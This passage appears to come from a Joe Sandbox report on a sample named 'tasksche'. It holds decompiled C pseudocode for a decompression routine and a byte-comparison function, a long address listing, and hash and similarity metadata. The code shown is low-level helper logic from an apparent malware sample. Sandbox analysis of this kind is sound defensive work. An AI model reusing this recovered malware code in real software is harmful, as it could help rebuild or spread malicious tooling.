													if(_t540 >=  *((intOrPtr*)(_t608 + 0xf1c))) {
														_t540 = 0;
														__eflags = 0;
													}
													_t541 =  *(_t608 + 0x1ba4 + _t540 * 2) & 0x0000ffff;
													goto L49;
												}
												_t704 = _t608 + 0xf20 + _t772 * 4;
												while(1) {
													__eflags = _t537 -  *_t704;
													if(_t537 <  *_t704) {
														break;
													}
													_t772 = _t772 + 1;
													_t704 = _t704 + 4;
													__eflags = _t772 - 0xf;
													if(_t772 < 0xf) {
														continue;
													}
													goto L46;
												}
												_a4 = _t772;
												goto L46;
											} else {
												_t705 = 0x10;
												_t593 = _t537 >> _t705 - _t771;
												_t708 = ( *(_t593 + _t608 + 0xfa4) & 0x000000ff) +  *(_t808 + 4);
												 *_t808 =  *_t808 + (_t708 >> 3);
												 *(_t808 + 4) = _t708 & 0x00000007;
												_t541 =  *(_t608 + 0x13a4 + _t593 * 2) & 0x0000ffff;
												L49:
												__eflags = _t541 - 4;
												if(_t541 >= 4) {
													_t672 = (_t541 >> 1) - 1;
													_a4 = _t672;
													_v20 = ((_t541 & 0x00000001 | 0x00000002) << _t672) + 1;
													__eflags = _t672;
													if(_t672 <= 0) {
														L68:
														_t776 = _v20;
														__eflags = _t776 - 0x100;
														if(_t776 > 0x100) {
															_v16 = _v12 + 1;
															__eflags = _t776 - 0x2000;
															if(_t776 > 0x2000) {
																_v16 = _v16 + 1;
																__eflags = _t776 - 0x40000;
																if(_t776 > 0x40000) {
																	_t166 =  &_v16;
																	 *_t166 = _v16 + 1;
																	__eflags =  *_t166;
																}
															}
														}
														 *((intOrPtr*)(_t806 + 0x60)) =  *((intOrPtr*)(_t806 + 0x5c));
														 *((intOrPtr*)(_t806 + 0x5c)) =  *((intOrPtr*)(_t806 + 0x58));
														 *((intOrPtr*)(_t806 + 0x58)) =  *((intOrPtr*)(_t806 + 0x54));
														_t549 = _v16;
														 *(_t806 + 0x68) = _t549;
														_a4 = _t549;
														_t550 =  *(_t806 + 0x70);
														_t674 = _t550 - _t776;
														 *((intOrPtr*)(_t806 + 0x54)) = _t776;
														_t778 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
														_v24 = _t674;
														__eflags = _t674 - _t778;
														if(_t674 >= _t778) {
															goto L91;
														} else {
															__eflags = _t550 - _t778;
															if(_t550 >= _t778) {
																goto L91;
															}
															_t781 =  *((intOrPtr*)(_t806 + 0x4b34));
															_v8 = _t674 + _t781;
															_t679 = _v16;
															_t782 = _t781 + _t550;
															_v12 = _t782;
															 *(_t806 + 0x70) = _t550 + _t679;
															__eflags = _v20 - _t679;
															if(_v20 >= _t679) {
																__eflags = _t679 - 8;
																if(_t679 < 8) {
																	goto L82;
																}
																_t569 = _v16 >> 3;
																__eflags = _t569;
																_v24 = _t569;
																do {
																	E0041C290(_t608, _t806, _t808, _v12, _v8, 8);
																	_v8 = _v8 + 8;
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t810 = _t810 + 0xc;
																	_t219 =  &_v24;
																	 *_t219 = _v24 - 1;
																	__eflags =  *_t219;
																} while ( *_t219 != 0);
																goto L82;
															}
															__eflags = _t679 - 8;
															if(_t679 < 8) {
																goto L82;
															}
															_t572 = _t679 >> 3;
															__eflags = _t572;
															_v24 = _t572;
															_t573 = _v8;
															_t680 = _t782;
															do {
																_a4 = _a4 - 8;
																 *_t680 =  *_t573;
																_t191 = _t573 + 1; // 0x300905a
																 *((char*)(_t680 + 1)) =  *_t191;
																_t193 = _t573 + 2; // 0x30090
																 *((char*)(_t680 + 2)) =  *_t193;
																_t195 = _t573 + 3; // 0x300
																 *((char*)(_t680 + 3)) =  *_t195;
																_t197 = _t573 + 4; // 0x3
																 *((char*)(_t680 + 4)) =  *_t197;
																_t199 = _t573 + 5; // 0x4000000
																 *((char*)(_t680 + 5)) =  *_t199;
																_t201 = _t573 + 6; // 0x40000
																 *((char*)(_t680 + 6)) =  *_t201;
																_t203 = _t573 + 7; // 0x400
																 *((char*)(_t680 + 7)) =  *_t203;
																_t573 = _t573 + 8;
																_t680 = _t680 + 8;
																_t205 =  &_v24;
																 *_t205 = _v24 - 1;
																__eflags =  *_t205;
															} while ( *_t205 != 0);
															_v12 = _t680;
															_v8 = _t573;
															goto L82;
														}
													}
													__eflags = _t672 - 4;
													if(__eflags < 0) {
														_t576 = E00412AEB(_t808);
														_t682 = 0x20;
														_v20 = _v20 + (_t576 >> _t682 - _a4);
														_t579 =  *(_t808 + 4) + _a4;
														 *_t808 =  *_t808 + (_t579 >> 3);
														_t580 = _t579 & 0x00000007;
														__eflags = _t580;
														 *(_t808 + 4) = _t580;
														goto L68;
													}
													if(__eflags > 0) {
														_t588 = E00412AEB(_t808);
														_t589 = _a4;
														_t699 = 0x24;
														_t590 = _t589 +  *(_t808 + 4) - 4;
														_v20 = _v20 + (_t588 >> _t699 - _t589 << 4);
														 *_t808 =  *_t808 + (_t590 >> 3);
														_t591 = _t590 & 0x00000007;
														__eflags = _t591;
														 *(_t808 + 4) = _t591;
													}
													_t581 = E0040978C(_t808);
													_t791 =  *(_t608 + 0x1e8c);
													_t582 = _t581 & 0x0000fffe;
													__eflags = _t582 -  *((intOrPtr*)(_t608 + 0x1e0c + _t791 * 4));
													if(_t582 >=  *((intOrPtr*)(_t608 + 0x1e0c + _t791 * 4))) {
														_t792 = _t791 + 1;
														_a4 = 0xf;
														__eflags = _t792 - 0xf;
														if(_t792 >= 0xf) {
															L63:
															_t688 =  *(_t808 + 4) + _a4;
															 *_t808 =  *_t808 + (_t688 >> 3);
															_t795 = _a4;
															 *(_t808 + 4) = _t688 & 0x00000007;
															_t690 = 0x10;
															_t585 = (_t582 -  *((intOrPtr*)(_t608 + 0x1e08 + _a4 * 4)) >> _t690 - _a4) +  *((intOrPtr*)(_t608 + 0x1e4c + _t795 * 4));
															__eflags = _t585 -  *((intOrPtr*)(_t608 + 0x1e08));
															if(_t585 >=  *((intOrPtr*)(_t608 + 0x1e08))) {
																_t585 = 0;
																__eflags = 0;
															}
															_t586 =  *(_t608 + 0x2a90 + _t585 * 2) & 0x0000ffff;
															goto L66;
														}
														_t692 = _t608 + 0x1e0c + _t792 * 4;
														while(1) {
															__eflags = _t582 -  *_t692;
															if(_t582 <  *_t692) {
																break;
															}
															_t792 = _t792 + 1;
															_t692 = _t692 + 4;
															__eflags = _t792 - 0xf;
															if(_t792 < 0xf) {
																continue;
															}
															goto L63;
														}
														_a4 = _t792;
														goto L63;
													} else {
														_t693 = 0x10;
														_t587 = _t582 >> _t693 - _t791;
														_t696 = ( *(_t587 + _t608 + 0x1e90) & 0x000000ff) +  *(_t808 + 4);
														 *_t808 =  *_t808 + (_t696 >> 3);
														 *(_t808 + 4) = _t696 & 0x00000007;
														_t586 =  *(_t608 + 0x2290 + _t587 * 2) & 0x0000ffff;
														L66:
														_v20 = _v20 + _t586;
														goto L68;
													}
												}
												_v20 = _t541 + 1;
												goto L68;
											}
										}
										 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) = _t468;
										 *(_t806 + 0x70) =  *(_t806 + 0x70) + 1;
										continue;
									}
									_t716 = _t608 + 0x34 + _t727 * 4;
									while(1) {
										__eflags = _t464 -  *_t716;
										if(_t464 <  *_t716) {
											break;
										}
										_t727 = _t727 + 1;
										_t716 = _t716 + 4;
										__eflags = _t727 - 0xf;
										if(_t727 < 0xf) {
											continue;
										}
										goto L28;
									}
									_a4 = _t727;
									goto L28;
								}
								_t717 = 0x10;
								_t600 = _t464 >> _t717 - _t726;
								_t720 = ( *(_t600 + _t608 + 0xb8) & 0x000000ff) +  *(_t808 + 4);
								 *_t808 =  *_t808 + (_t720 >> 3);
								 *(_t808 + 4) = _t720 & 0x00000007;
								_t468 =  *(_t608 + 0x4b8 + _t600 * 2) & 0x0000ffff;
								goto L31;
							}
							__eflags =  *((intOrPtr*)(_t806 + 0x4b30)) - _t462;
							if( *((intOrPtr*)(_t806 + 0x4b30)) == _t462) {
								goto L20;
							}
							E00415346(_t806);
							__eflags =  *((intOrPtr*)(_t806 + 0x4c54)) -  *((intOrPtr*)(_t806 + 0x4c44));
							if(__eflags > 0) {
								goto L5;
							}
							if(__eflags < 0) {
								goto L20;
							}
							__eflags =  *((intOrPtr*)(_t806 + 0x4c50)) -  *((intOrPtr*)(_t806 + 0x4c40));
							if( *((intOrPtr*)(_t806 + 0x4c50)) >  *((intOrPtr*)(_t806 + 0x4c40))) {
								goto L5;
							}
							goto L20;
						}
					} else {
						 *((char*)(_t608 + 0x4ad0)) = 1;
						L5:
						_t526 = 0;
						L99:
						return _t526;
					}
				} else {
					 *((char*)(_t608 + 0x2c)) = 1;
					_t607 = E0041462B(_t608, __ecx, _t608 + 4, _t608 + 0x18, _t608 + 0x30);
					if(_t607 != 0) {
						goto L3;
					} else {
						 *((char*)(_t608 + 0x4ad0)) = 1;
						return _t607;
					}
				}
			}

0x00415da1
0x00415da9
0x00415dab
0x00415dd2
0x00415dd2
0x00415dd9
0x00415dde
0x00415de0
0x00415df3
0x00415dfd
0x00415e00
0x00415e02
0x00415e05
0x00415e08
0x00415e0b
0x00415e0d
0x00415e0d
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00415e20
0x00415e20
0x00415e23
0x0041639a
0x0041639a
0x00000000
0x0041639a
0x00415e29
0x00415e37
0x00415e37
0x00415e3a
0x00415e49
0x00415e49
0x00415e4f
0x00416784
0x00416784
0x00000000
0x00416784
0x00000000
0x00415e4f
0x00415e3c
0x00415e43
0x00000000
0x00000000
0x00000000
0x00415e43
0x00415e2e
0x00415e31
0x00000000
0x00000000
0x00000000
0x00415e55
0x00415e5b
0x00415e62
0x00415e68
0x00415e9f
0x00415ea1
0x00415ea6
0x00415eac
0x00415eb1
0x00415eb5
0x00415ee0
0x00415ee1
0x00415ee8
0x00415eeb
0x00415f03
0x00415f06
0x00415f10
0x00415f12
0x00415f18
0x00415f1f
0x00415f24
0x00415f28
0x00415f2b
0x00415f2d
0x00415f2d
0x00415f2d
0x00415f2f
0x00415f37
0x00415f3c
0x00415f3e
0x00415f54
0x00415f59
0x00416373
0x00416375
0x004163a3
0x004163a8
0x0041654d
0x0041654d
0x00416552
0x00416558
0x0041655b
0x0041656a
0x0041656f
0x00416572
0x00416577
0x0041657d
0x00416582
0x00416589
0x004165b4
0x004165b5
0x004165bc
0x004165bf
0x004165da
0x004165dd
0x004165e7
0x004165e9
0x004165ef
0x004165f9
0x004165fe
0x00416605
0x0041660b
0x0041660d
0x0041660d
0x0041660d
0x0041660f
0x00416617
0x00416617
0x0041661a
0x0041662c
0x00416632
0x00416636
0x00416637
0x0041663a
0x0041663c
0x00416640
0x00416647
0x0041664d
0x00416653
0x0041665b
0x0041665d
0x0041665d
0x00416660
0x00416663
0x00416663
0x0041661c
0x0041661c
0x0041661f
0x0041661f
0x00416669
0x00416672
0x00416678
0x0041667b
0x0041667e
0x00416681
0x00416683
0x00416742
0x00416742
0x00416689
0x00416689
0x0041668c
0x00000000
0x00000000
0x00416692
0x0041669a
0x0041669d
0x004166a2
0x004166a8
0x004166ab
0x004166ae
0x0041670a
0x0041670d
0x00416483
0x00416483
0x00416487
0x00000000
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x004162a3
0x004162a3
0x004162a3
0x00000000
0x00415e10
0x00000000
0x004162ad
0x004162ad
0x004162b6
0x004162b9
0x004162b9
0x00000000
0x00415e10
0x00000000
0x004162c1
0x004162c1
0x004162c8
0x004162cb
0x004162cb
0x00000000
0x004164a1
0x004164a1
0x004164ab
0x004164ab
0x00000000
0x004162d4
0x004162d4
0x004162db
0x004162de
0x004162de
0x00000000
0x004164b4
0x004164b4
0x004164be
0x004164be
0x00000000
0x004162e7
0x004162e7
0x004162ee
0x004162f1
0x004162f1
0x00000000
0x004164c7
0x004164c7
0x004164d1
0x004164d1
0x00000000
0x004162fa
0x004162fa
0x00416301
0x00416304
0x00416304
0x00000000
0x004164da
0x004164da
0x004164e4
0x004164e4
0x00000000
0x0041630d
0x0041630d
0x00416314
0x00416317
0x00416317
0x00416320
0x00416323
0x00416323
0x00416326
0x00416329
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x0041632e
0x0041632e
0x0041632e
0x00416338
0x0041633e
0x00416344
0x0041634f
0x00416358
0x0041635e
0x00416362
0x00416366
0x00416369
0x00416369
0x0041636e
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x00000000
0x00415e10
0x0041674a
0x00416750
0x00416759
0x00416764
0x00416767
0x0041676d
0x00416776
0x0041677a
0x0041677a
0x0041677f
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x00000000
0x00415e10
0x004163b9
0x004163bf
0x004163c4
0x004163cc
0x004163d2
0x004163d5
0x004163d7
0x00000000
0x00000000
0x004163dd
0x004163df
0x00000000
0x00000000
0x004163e5
0x004163ed
0x004163f0
0x004163f3
0x004163f7
0x004163fa
0x004163fd
0x00416400
0x00416457
0x0041645a
0x00000000
0x00000000
0x0041645c
0x0041645c
0x0041645f
0x00416462
0x0041646a
0x0041646f
0x00416473
0x00416477
0x0041647b
0x0041647e
0x0041647e
0x0041647e
0x0041647e
0x00000000
0x00416462
0x00416402
0x00416405
0x00000000
0x00000000
0x00416407
0x00416407
0x0041640a
0x0041640d
0x00416410
0x00416412
0x00416414
0x00416418
0x0041641d
0x00416423
0x00416429
0x0041642f
0x00416435
0x0041643b
0x00416441
0x00416444
0x00416447
0x0041644a
0x0041644a
0x0041644a
0x0041644a
0x0041644f
0x0041644f
0x00416452
0x00000000
0x00416387
0x0041638d
0x00416392
0x00416392
0x00000000
0x00416508
0x00416508
0x00416508
0x00416512
0x00416518
0x0041651e
0x00416529
0x00416532
0x00416538
0x0041653c
0x00416540
0x00416543
0x00416543
0x00000000
0x004164ed
0x004164ed
0x004164f7
0x004164f7
0x00416500
0x00000000
0x00416500
0x0041648d
0x0041648d
0x00416496
0x00416499
0x00416499
0x00416716
0x00416716
0x00416719
0x0041671c
0x00416724
0x00416729
0x0041672d
0x00416731
0x00416735
0x00416738
0x00416738
0x00416738
0x00416738
0x00000000
0x0041673d
0x004166b0
0x004166b3
0x00000000
0x00000000
0x004166bc
0x004166bf
0x004166bf
0x004166c2
0x004166c5
0x004166c8
0x004166ca
0x004166ce
0x004166d3
0x004166d9
0x004166df
0x004166e5
0x004166eb
0x004166f1
0x004166f7
0x004166fa
0x004166fd
0x00416700
0x00416700
0x00416700
0x00416700
0x00000000
0x00416705
0x00416683
0x004165c1
0x004165c8
0x004165c8
0x004165ca
0x00000000
0x00000000
0x004165cc
0x004165cd
0x004165d0
0x004165d3
0x00000000
0x00000000
0x00000000
0x004165d5
0x004165d7
0x00000000
0x004165d7
0x0041658d
0x00416590
0x0041659a
0x004165a2
0x004165a7
0x004165aa
0x00000000
0x00000000
0x00000000
0x00000000
0x0041655d
0x0041655d
0x00416560
0x00416562
0x00416563
0x00416566
0x00416566
0x00000000
0x0041655d
0x004163ae
0x004163ae
0x004163b1
0x004163b1
0x0041637a
0x0041637e
0x00416383
0x00416385
0x00000000
0x00000000
0x00000000
0x00416385
0x00415f5f
0x00415f64
0x00415f67
0x00415f79
0x00415f7f
0x00415f84
0x00415f87
0x00415f89
0x00415f8d
0x00415f94
0x00415f9a
0x00415fa0
0x00415fa8
0x00415faa
0x00415faa
0x00415fad
0x00415fad
0x00415f69
0x00415f6c
0x00415f6c
0x00415fb5
0x00415fb8
0x00415fbd
0x00415fc3
0x00415fc8
0x00415fcf
0x00415ffa
0x00415ffb
0x00416002
0x00416005
0x00416020
0x00416023
0x0041602d
0x0041602f
0x00416035
0x0041603f
0x00416044
0x0041604b
0x00416051
0x00416053
0x00416053
0x00416053
0x00416055
0x00000000
0x00416055
0x00416007
0x0041600e
0x0041600e
0x00416010
0x00000000
0x00000000
0x00416012
0x00416013
0x00416016
0x00416019
0x00000000
0x00000000
0x00000000
0x0041601b
0x0041601d
0x00000000
0x00415fd1
0x00415fd3
0x00415fd6
0x00415fe0
0x00415fe8
0x00415fed
0x00415ff0
0x0041605d
0x0041605d
0x00416060
0x00416072
0x00416078
0x0041607c
0x0041607f
0x00416081
0x00416190
0x00416190
0x00416193
0x00416199
0x0041619f
0x004161a2
0x004161a8
0x004161aa
0x004161ad
0x004161b3
0x004161b5
0x004161b5
0x004161b5
0x004161b5
0x004161b3
0x004161a8
0x004161bb
0x004161c1
0x004161c7
0x004161ca
0x004161cd
0x004161d0
0x004161d3
0x004161d8
0x004161da
0x004161e3
0x004161e9
0x004161ec
0x004161ee
0x00000000
0x004161f4
0x004161f4
0x004161f6
0x00000000
0x00000000
0x004161fc
0x00416204
0x00416207
0x0041620a
0x0041620e
0x00416211
0x00416214
0x00416217
0x00416274
0x00416277
0x00000000
0x00000000
0x0041627c
0x0041627c
0x0041627f
0x00416282
0x0041628a
0x0041628f
0x00416293
0x00416297
0x0041629b
0x0041629e
0x0041629e
0x0041629e
0x0041629e
0x00000000
0x00416282
0x00416219
0x0041621c
0x00000000
0x00000000
0x00416224
0x00416224
0x00416227
0x0041622a
0x0041622d
0x0041622f
0x00416231
0x00416235
0x00416237
0x0041623a
0x0041623d
0x00416240
0x00416243
0x00416246
0x00416249
0x0041624c
0x0041624f
0x00416252
0x00416255
0x00416258
0x0041625b
0x0041625e
0x00416261
0x00416264
0x00416267
0x00416267
0x00416267
0x00416267
0x0041626c
0x0041626f
0x00000000
0x0041626f
0x004161ee
0x00416087
0x0041608a
0x0041616d
0x00416174
0x0041617a
0x00416180
0x00416188
0x0041618a
0x0041618a
0x0041618d
0x00000000
0x0041618d
0x00416090
0x00416094
0x0041609b
0x004160a0
0x004160a8
0x004160b1
0x004160b7
0x004160b9
0x004160b9
0x004160bc
0x004160bc
0x004160c1
0x004160c6
0x004160cc
0x004160d1
0x004160d8
0x00416103
0x00416104
0x0041610b
0x0041610e
0x00416129
0x0041612c
0x00416136
0x00416138
0x0041613e
0x00416148
0x0041614d
0x00416154
0x0041615a
0x0041615c
0x0041615c
0x0041615c
0x0041615e
0x00000000
0x0041615e
0x00416110
0x00416117
0x00416117
0x00416119
0x00000000
0x00000000
0x0041611b
0x0041611c
0x0041611f
0x00416122
0x00000000
0x00000000
0x00000000
0x00416124
0x00416126
0x00000000
0x004160da
0x004160dc
0x004160df
0x004160e9
0x004160f1
0x004160f6
0x004160f9
0x00416166
0x00416166
0x00000000
0x00416166
0x004160d8
0x00416063
0x00000000
0x00416063
0x00415fcf
0x00415f49
0x00415f4c
0x00000000
0x00415f4c
0x00415eed
0x00415ef1
0x00415ef1
0x00415ef3
0x00000000
0x00000000
0x00415ef5
0x00415ef6
0x00415ef9
0x00415efc
0x00000000
0x00000000
0x00000000
0x00415efe
0x00415f00
0x00000000
0x00415f00
0x00415eb9
0x00415ebc
0x00415ec6
0x00415ece
0x00415ed3
0x00415ed6
0x00000000
0x00415ed6
0x00415e6a
0x00415e70
0x00000000
0x00000000
0x00415e74
0x00415e7f
0x00415e85
0x00000000
0x00000000
0x00415e8b
0x00000000
0x00000000
0x00415e93
0x00415e99
0x00000000
0x00000000
0x00000000
0x00415e99
0x00415de2
0x00415de2
0x00415de9
0x00415de9
0x0041639c
0x00000000
0x0041639c
0x00415dad
0x00415db9
0x00415dbd
0x00415dc4
0x00000000
0x00415dc6
0x00415dc6
0x00000000
0x00415dc6
0x00415dc4

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55f74d88c168b2656ab75066bc4e011c1757566443c1fcad1fbcf06b528a1986
Instruction ID: 136bcfac07b0c46142f126060f48d767d5d9002a5a6c7f55271a6c6e067ee92a
Opcode Fuzzy Hash: 55f74d88c168b2656ab75066bc4e011c1757566443c1fcad1fbcf06b528a1986
Instruction Fuzzy Hash: 8C72B070A04645DFCB19CF68C5806EDBBB1FF45308F2981AED8598B742C339E991CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041BCD9 Relevance: .4, Instructions: 384
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041BCD9(void* __eax, void* __ecx) {
				void* _t196;
				signed int _t197;
				void* _t200;
				signed char _t206;
				signed char _t207;
				signed char _t208;
				signed char _t210;
				signed char _t211;
				signed int _t216;
				signed int _t316;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t330;
				void* _t332;
				void* _t334;
				void* _t337;
				void* _t339;
				void* _t341;
				void* _t344;
				void* _t346;
				void* _t348;
				void* _t351;
				void* _t353;
				void* _t355;
				void* _t358;
				void* _t360;
				void* _t362;

				_t200 = __ecx;
				_t196 = __eax;
				if( *((intOrPtr*)(__eax - 0x1f)) ==  *((intOrPtr*)(__ecx - 0x1f))) {
					_t316 = 0;
					L17:
					if(_t316 != 0) {
						goto L1;
					}
					_t206 =  *(_t196 - 0x1b);
					if(_t206 ==  *(_t200 - 0x1b)) {
						_t316 = 0;
						L28:
						if(_t316 != 0) {
							goto L1;
						}
						_t207 =  *(_t196 - 0x17);
						if(_t207 ==  *(_t200 - 0x17)) {
							_t316 = 0;
							L39:
							if(_t316 != 0) {
								goto L1;
							}
							_t208 =  *(_t196 - 0x13);
							if(_t208 ==  *(_t200 - 0x13)) {
								_t316 = 0;
								L50:
								if(_t316 != 0) {
									goto L1;
								}
								if( *(_t196 - 0xf) ==  *(_t200 - 0xf)) {
									_t316 = 0;
									L61:
									if(_t316 != 0) {
										goto L1;
									}
									_t210 =  *(_t196 - 0xb);
									if(_t210 ==  *(_t200 - 0xb)) {
										_t316 = 0;
										L72:
										if(_t316 != 0) {
											goto L1;
										}
										_t211 =  *(_t196 - 7);
										if(_t211 ==  *(_t200 - 7)) {
											_t316 = 0;
											L83:
											if(_t316 != 0) {
												goto L1;
											}
											_t319 = ( *(_t196 - 3) & 0x000000ff) - ( *(_t200 - 3) & 0x000000ff);
											if(_t319 == 0) {
												L5:
												_t321 = ( *(_t196 - 2) & 0x000000ff) - ( *(_t200 - 2) & 0x000000ff);
												if(_t321 == 0) {
													L3:
													_t197 = ( *(_t196 - 1) & 0x000000ff) - ( *(_t200 - 1) & 0x000000ff);
													if(_t197 != 0) {
														_t197 = (0 | _t197 > 0x00000000) + (0 | _t197 > 0x00000000) - 1;
													}
													L2:
													return _t197;
												}
												_t216 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
												if(_t216 != 0) {
													L86:
													_t197 = _t216;
													goto L2;
												} else {
													goto L3;
												}
											}
											_t216 = (0 | _t319 > 0x00000000) + (0 | _t319 > 0x00000000) - 1;
											if(_t216 == 0) {
												goto L5;
											}
											goto L86;
										}
										_t323 = (_t211 & 0x000000ff) - ( *(_t200 - 7) & 0x000000ff);
										if(_t323 == 0) {
											L76:
											_t325 = ( *(_t196 - 6) & 0x000000ff) - ( *(_t200 - 6) & 0x000000ff);
											if(_t325 == 0) {
												L78:
												_t327 = ( *(_t196 - 5) & 0x000000ff) - ( *(_t200 - 5) & 0x000000ff);
												if(_t327 == 0) {
													L80:
													_t316 = ( *(_t196 - 4) & 0x000000ff) - ( *(_t200 - 4) & 0x000000ff);
													if(_t316 != 0) {
														_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
													}
													goto L83;
												}
												_t316 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
												if(_t316 != 0) {
													goto L1;
												}
												goto L80;
											}
											_t316 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L78;
										}
										_t316 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L76;
									}
									_t330 = (_t210 & 0x000000ff) - ( *(_t200 - 0xb) & 0x000000ff);
									if(_t330 == 0) {
										L65:
										_t332 = ( *(_t196 - 0xa) & 0x000000ff) - ( *(_t200 - 0xa) & 0x000000ff);
										if(_t332 == 0) {
											L67:
											_t334 = ( *(_t196 - 9) & 0x000000ff) - ( *(_t200 - 9) & 0x000000ff);
											if(_t334 == 0) {
												L69:
												_t316 = ( *(_t196 - 8) & 0x000000ff) - ( *(_t200 - 8) & 0x000000ff);
												if(_t316 != 0) {
													_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
												}
												goto L72;
											}
											_t316 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L69;
										}
										_t316 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L67;
									}
									_t316 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L65;
								}
								_t337 = ( *(_t196 - 0xf) & 0x000000ff) - ( *(_t200 - 0xf) & 0x000000ff);
								if(_t337 == 0) {
									L54:
									_t339 = ( *(_t196 - 0xe) & 0x000000ff) - ( *(_t200 - 0xe) & 0x000000ff);
									if(_t339 == 0) {
										L56:
										_t341 = ( *(_t196 - 0xd) & 0x000000ff) - ( *(_t200 - 0xd) & 0x000000ff);
										if(_t341 == 0) {
											L58:
											_t316 = ( *(_t196 - 0xc) & 0x000000ff) - ( *(_t200 - 0xc) & 0x000000ff);
											if(_t316 != 0) {
												_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											}
											goto L61;
										}
										_t316 = (0 | _t341 > 0x00000000) + (0 | _t341 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L58;
									}
									_t316 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L56;
								}
								_t316 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L54;
							}
							_t344 = (_t208 & 0x000000ff) - ( *(_t200 - 0x13) & 0x000000ff);
							if(_t344 == 0) {
								L43:
								_t346 = ( *(_t196 - 0x12) & 0x000000ff) - ( *(_t200 - 0x12) & 0x000000ff);
								if(_t346 == 0) {
									L45:
									_t348 = ( *(_t196 - 0x11) & 0x000000ff) - ( *(_t200 - 0x11) & 0x000000ff);
									if(_t348 == 0) {
										L47:
										_t316 = ( *(_t196 - 0x10) & 0x000000ff) - ( *(_t200 - 0x10) & 0x000000ff);
										if(_t316 != 0) {
											_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
										}
										goto L50;
									}
									_t316 = (0 | _t348 > 0x00000000) + (0 | _t348 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L47;
								}
								_t316 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L45;
							}
							_t316 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L43;
						}
						_t351 = (_t207 & 0x000000ff) - ( *(_t200 - 0x17) & 0x000000ff);
						if(_t351 == 0) {
							L32:
							_t353 = ( *(_t196 - 0x16) & 0x000000ff) - ( *(_t200 - 0x16) & 0x000000ff);
							if(_t353 == 0) {
								L34:
								_t355 = ( *(_t196 - 0x15) & 0x000000ff) - ( *(_t200 - 0x15) & 0x000000ff);
								if(_t355 == 0) {
									L36:
									_t316 = ( *(_t196 - 0x14) & 0x000000ff) - ( *(_t200 - 0x14) & 0x000000ff);
									if(_t316 != 0) {
										_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
									}
									goto L39;
								}
								_t316 = (0 | _t355 > 0x00000000) + (0 | _t355 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L36;
							}
							_t316 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L34;
						}
						_t316 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L32;
					}
					_t358 = (_t206 & 0x000000ff) - ( *(_t200 - 0x1b) & 0x000000ff);
